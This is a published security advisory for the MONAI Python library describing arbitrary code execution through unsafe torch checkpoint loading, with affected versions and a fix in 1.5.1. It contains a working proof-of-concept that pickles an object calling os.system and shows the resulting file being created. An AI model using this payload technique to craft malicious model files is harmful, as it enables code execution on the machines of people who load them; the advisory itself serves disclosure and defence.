GHSA-6vm5-6jv9-rjpj

Suggest an improvement
Source
https://github.com/advisories/GHSA-6vm5-6jv9-rjpj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-6vm5-6jv9-rjpj/GHSA-6vm5-6jv9-rjpj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6vm5-6jv9-rjpj
Aliases
Published
2025-09-09T21:19:59Z
Modified
2026-06-06T00:45:43Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
MONAI: Unsafe torch usage may lead to arbitrary code execution
Details

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Database specific
{
    "cwe_ids":  [
        "CWE-502"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2025-09-09T21:19:59Z",
    "nvd_published_at":  "2025-09-09T00:15:32Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / monai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.5.1

Affected versions

0.*
0.0.1
0.1.0
0.2.0
0.3.0
0.4.0
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
1.*
1.0.0
1.0.1
1.1.0
1.2.0
1.3.0
1.3.1
1.3.2rc1
1.3.2
1.3.3rc1
1.4.0rc1
1.4.0rc2
1.4.0rc3
1.4.0rc4
1.4.0rc5
1.4.0rc6
1.4.0rc7
1.4.0rc8
1.4.0rc9
1.4.0rc10
1.4.0rc11
1.4.0rc12
1.4.0
1.4.1rc1
1.5.0rc1
1.5.0

Database specific

last_known_affected_version_range
"<= 1.5.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-6vm5-6jv9-rjpj/GHSA-6vm5-6jv9-rjpj.json"